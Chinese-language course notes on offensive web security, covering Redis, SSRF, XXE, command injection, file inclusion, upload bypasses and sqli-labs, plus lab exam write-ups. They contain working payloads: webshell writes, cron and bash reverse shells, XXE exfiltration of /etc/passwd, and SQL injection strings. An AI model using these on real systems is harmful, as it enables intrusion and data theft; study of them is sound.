day34_kls

课程内容

redis

写webshell

利用持久化存储写webshell

1
2
3
4
5
redis-cli -h  -p
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET test "<!--?php system($_GET['cmd']); ?-->"
SAVE

写计划任务

利用条件

目标机器为centos系列

cetnos系列cron会略过错误的行

原理与写webshell相同

1
2
3
4
5
redis-cli -h  -p
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
set test "\n\n\n * * * * * /bin/bash -i >& /dev/tcp/192.168.2.183/9999 0>&1 \n\n\n"
SAVE

写ssh public key

1
2
3
4
5
redis-cli -h  -p
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
set test "\n\n\n your_key\n\n"
SAVE

ssrf

原因

开发者未对用户可控的url进行限制,导致服务器请求到恶意的url

危害

内网探测

信息泄漏

挖掘

白盒

是否存在用户可控的服务器访问url

黑盒

参数中存在url就可劲干

验证是否存在漏洞

http

dnslog

利用

文件读取

file:///path/to/file

端口探测

dict://host:ip

防御

过滤恶意协议

禁止访问内网ip

绕过防御

对于127.0.0.1

使用127.1.1.1等类似ip绕过

sqli-labs

搭建

1
2

docker run -it -d --name sqli-labs -p 80:80 -p 13306:3306 acgpiano/sqli-labs

过关

第1关

闭合符号是',直接干

1
1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

第2关

数字型,没有闭合符号,直接干

1
-1 union select 1,group_concat(schema_name),3 from information_schema.schemata --+

第3关

闭合符号是'),直接干

1
-1') union select 1,group_concat(schema_name),3 from information_schema.schemata --+

第4关

闭合符号是"),直接干

1
-1")  union select 1,group_concat(schema_name),3 from information_schema.schemata --+

第5关

闭合符号是',不能联合查询,不能直接干,可以报错,直接干

1
1' and extractvalue(0x0a,concat(0x0a,(select database()))) --+

第6关

闭合符号是",不能直接干,可以报错,直接干

1
-1"  and extractvalue(0x0a,concat(0x0a,(select database())))--+

第7关

闭合符号是')),布尔盲注,直接干🙅,sqlmap一把梭

1
')) and left(database(), 1) > 't' --+

命令

1
sqlmap -u 'http://localhost:7777/Less-7/?id=1' -v 3 --dbms mysql --tech B -p id

第8关

闭合符号是',布尔盲注,直接干不了

1
1' and sleep(1) --+
1
2
# 一把梭哈
sqlmap -u 'http://localhost:7777/Less-8/?id=1' -v 3 --dbms mysql --tech B

第9关

闭合符号是',时间盲注,直接干不了

1
1' and sleep(1) --+
1
2
# 一把梭哈
sqlmap -u 'http://localhost:7777/Less-9/?id=1' -v 3 --dbms mysql --tech T --batch -p id

第10关

闭合符号是",时间盲注,直接干不了

1
1" and sleep(1) --+

跟第9关一样,不写了,sqlmap一把梭

第11关

这一关要登陆,我们去前几关整几个账号密码,开干username:Dumb,password:Dumb

闭合符号是',报错注入,直接干

1
passwd=Dumb&submit=Submit&uname=Dumb' or extractvalue(0x0a,concat(0x0a,(select database())))--+

第12关

闭合符号是"),报错注入,直接干

1
passwd=Dumb&submit=Submit&uname=Dumb") and extractvalue(0x0a,concat(0x0a,(select database()))) --+

第13关

闭合符号是'),报错注入,直接干

1
passwd=Dumb&submit=Submit&uname=Dumb') and extractvalue(0x0a,concat(0x0a,(select database()))) --+

第14关

闭合符号是",报错注入,直接干

1
passwd=Dumb&submit=Submit&uname=Dumb" or extractvalue(0x0a,concat(0x0a,(select database()))) --+

第15关

闭合符号是',布尔盲注,直接干

1
passwd=Dumb&submit=Submit&uname=Dumb' and 1=0 --+

sqlmap一把梭

1
sqlmap -r ~/15 -p uname  --dbms mysql

第16关

闭合符号是"),布尔盲注,直接干

1
passwd=Dumb&submit=Submit&uname=Dumb") and 1=0  --+

抓包copytofile,sqlmap一把梭

1
sqlmap -r ~/15 -p uname  --dbms mysql

第17关

闭合符号是',updata型的报错注入,直接干

1
passwd=Dumb'and extractvalue(0x0a,concat(0x0a,(select database()))) and'&submit=Submit&uname=Dumb

第18关

闭合符号是',ua头注入,可以报错,直接干

1
User-Agent: a' or  extractvalue(0x0a,concat(0x0a,(select database()))) or '

第19关

闭合符号是',ref头注入,可以报错,直接干

1
2
        'or sleep(1) or'
Referer:' or extractvalue(0x0a,concat(0x0a,(select database()))) or '

第20关

闭合符号是',报错注入,注入点在cookie,直接干

1
Cookie: uname=Dumb' or updatexml(1,concat(1,database(),1),1) --+

第21关

闭合符号是'),报错注入,注入点在cookie,加了一层base64,直接干

1
Cookie: uname=RHVtYicpYW5kIGV4dHJhY3R2YWx1ZSgweDBhLGNvbmNhdCgweDBhLChzZWxlY3QgZGF0YWJhc2UoKSkpKSM%3d

第22关

闭合符号是",报错注入,注入点在cookie,直接干

1
Cookie: uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgweDBhLGNvbmNhdCgweDBhLChzZWxlY3QgZGF0YWJhc2UoKSkpKSAgIw%3d%3d

day33_kls

课程内容

xxe

原因

服务器开启了外部实体加载,xml解析器解析了恶意的外部实体,导致读取恶意文件,访问恶意地址

预备知识点

DTD

文档类型定义

document type define

用于约束文档

一个简单的DTD

1
2
3
4
5
6
7
8
9
10
11
12
13
<!--ENTITY author "John Doe"-->
<!-- 外部实体 -->
<!--ENTITY author_external SYSTEM "file:///etc/passwd"-->
<!-- 参数实体 -->
<!--ENTITY % name "to"-->
<!-- 调用参数实体 -->
<!--ELEMENT note (%name; from, heading, body)-->
]>
Tove
<!-- 调用实体 -->
&author;
Reminder
Don't forget me this weekend!

危害

敏感文件读取

ddos

ssrf

挖掘

黑盒

content-type为xml,传入xml

白盒

解析了用户传入的xml

开启了外部实体解析

利用

文件包含

远程文件内容

1
2
3
4
5
6
7
8
9
10
  <!--ENTITY % a SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"-->
<!--ENTITY % b "<!ENTITY % c SYSTEM 'http://192.168.2.183:8888/?f=%a;'-->">
%b;
%c;
``` xml

包含
``` xml
%d;
]>

命令执行

expect://cmd

ddos

循环调用

防御

不允许外部实体

过滤伪协议

day32_kls

课程内容

反弹shell命令解析

一个简单的反弹shell命令

1
bash -i >& /dev/tcp/192.168.2.233/2333 0>&1

bash -i交互式执行bash

>&将输出和错误重定向

0>&1将输出重定向到输入

命令执行

原因

开发装未对用户输入做严格校验,将用户可控参数拼接到了命令执行函数中,导致恶意命令被执行

危害

恶意命令被执行

挖掘

黑盒

白盒

利用

拼接符

&&,||,&,|,;

写webshell

echo "webshell" > x.php

base64写webshell

echo base64_content | base64 -d > x.php

反弹shell

受害者

bash -i >& /dev/tcp/your_ip/23333 0>&1

监听主机

nc -lvnp 23333

day31_kls

课程内容

文件包含

分类

本地文件包含

远程文件包含

伪协议

原因

开发者未对用户输入的文件名进行严格的校验

危害

php文件包含会将任意文件都当作php代码执行,导致执行恶意php代码

泄漏敏感信息

挖掘

白盒

看php特殊函数

黑盒

直接干

利用

结合目录穿越泄漏敏感信息

结合文件上传包含本地文件

快速远程文件包含

gayhub

便签网

伪协议包含

file://

file:///etc/passwd

file://C:\Windows\System32\drivers\etc\hosts

php://filter

php://filter/read=convert.base64-encode/resource=path/to/file

php://input

allow_url_include = On

payload放post请求体中

zip://

zip:///var/www/html/uploads/22112.zip%23shshsh.php

data://

allow_url_fopen = On allow_url_include = On

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8-IA==

phar://

phar:///var/www/html/uploads/22112.zip/shshsh.php

防御

修改配置文件

allow_url_include

过滤

过滤伪协议

白名单

禁用远程文件包含

绕过防御

week6_kls_exam

题目1

注册账号上去瞅瞅,能上传文件,让俺试一试

image.png

俺传上去了一个php,直接getshell

连接webshell

image.png

flag大大方方的在这里啦

image.png

flag{40fef70e713fe9fc934667c18ca7a434}

我是好孩子我没改flag

题目2

没有提示,没有框,先扫一下

image.png

phpmyadmin,没有弱密码,登陆不进去

有网站备份,下载下来看看

image.png

有好东西index.php

image.png

有密码

image.png

phpmyadmin启动

image.png

flag{88de7c430e8984299b0a0f850440b9e2}

我是好孩子我没改flag

题目3

看了看f12

image.png

让俺信息收集,那就来吧,直接开扫

image.png

这upload页面还藏起来了,直接传马,啥校验也没有,直接干

image.png

连webshell

image.png

让我康康

image.png

flag{174344ef316b9d58b6917ca468b7e04c}

我是好孩子我没改flag

题目4

小手一抖登陆进去了,有sql注入,开始梭哈

image.png

timu4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 192.168.2.214:10003
Content-Length: 41
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://192.168.2.214:10003
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.2.214:10003/
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=f29dcd6a3675ac3e9cd11d88a3550bed
Connection: keep-alive
username=admin&password=123

--os-shell一把梭

image.png

获取flag

image.png

flag{8caecc0d7209b1e97c8c0b0c6891992c}

我是好孩子我没改flag

day29_kls

课程内容

文件上传

原因

后端未做严格校验,导致用户上传恶意文件

危害

控制站点

资源耗尽

挖掘

传就完事啦

利用

上传webshell

防御

白名单

使用oss存储

存储与站点分离

绕过防御

php

使用其他后缀

.phtml

.phar

.php5

.php7

00截断

利用条件

配置文件关闭魔法引号

php版本<5.3

上传路径可控

原理

php会将%00认为字符串的结尾

双写

图片马

图片马生成

图片马利用条件

能够解析

文件包含漏洞

对抗压缩

条件竞争

php写文件

apache

修改配置文件,使其解析其他内容

upload-labs

搭建

1
2

去gayhub下载,精简包

过关

关卡1

没什么好说的,js校验,栓条狗都能

关卡2

MIME类型绕过,bp抓包,一抓一个准

关卡3

未严格校验,传phtml

关卡4

中间件是apache,我们上传.htaccessshell.png让apache解析png

1
Sethandler application/x-httpd-php

关卡5-9

待定,后面写

关卡10

垃圾的双写

关卡11-12

00截断,错误的php配置,会将00(ASCII)认为是文件的结束。

当上传文件带路径时,php会将abc/a.php%00photo.png认为是abc/a.php

关卡13-16

图片马,前提是存在文件解析漏洞,或文件包含漏洞,通过这些漏洞将图片解析为php

生成图片马

1
cat pic.png shell.php > webshell.png

压缩的图片马

这个生成俺不会

关卡17

条件竞争,校验逻辑错误的将文件临时存储起来时,这时我们碰巧访问到该文件,则会执行

便捷的请求方式

1
2
3
while true; do
curl xxx
done

注意,不要将curl放到后台运行,会卡,如果非要,那么建议指定次数

day28_kls

课程内容

4202年还有跨域漏洞吗

条件苛刻。浏览器会拦截。

条件:

后端跨站请求配置宽松

cookie需要是secure属性且SameSite=None

网站和攻击者都要为https

文件上传

原因

后端未做严格校验,导致用户上传恶意文件

危害

控制站点

资源耗尽

挖掘

传就完事啦

利用

上传webshell

防御

限制文件类型

限制文件大小

使用oss存储

存储与站点分离

绕过防御

php命令执行

php命令执行相关函数

eval

assert

preg_replace

1
preg_replace("/test/e",$_POST["cmd"],"jutst test");

create_function

1
$func =create_function('',$_POST['cmd']);$func();

array_map

1
2
3
4
5
$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;

array_filter

1
2
3
4
$cmd=$_POST['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);

php命令执行函数

system

exec

popen

php中代码执行&&命令执行函数 卿先生 博客园

webshell管理器

蚁剑

流量裸奔

哥斯拉

流量特征明显

冰蝎

流量特征基本发现不了

day27_kls

课程内容

csrf

原因

请求参数未经严格校验,使得请求可以被伪造

危害

诱导用户执行非本意的操作

盗号

诱使用户发送政治敏感信息

ddos

挖掘

能看懂所有的请求,就说明存在csrf

利用

使用bp构造csrf poc

引用js直接发送ajax请求

防御

加入可变参数

让请求参数不可读(人不可读)

绕过防御

做一个模仿者

csrf+xss

组合拳,使用xss,让用户伪造请求。

jsonp

jsonp本是一种开发中的技巧。为了逃避同源策略。

大家有时候用这种骚操作去传敏感信息,但没鉴权,导致敏感信息泄漏。

应用

蜜罐获取攻击者信息

蜜罐通过各个社交网站的jsonp漏洞,获取攻击者的社交媒体信息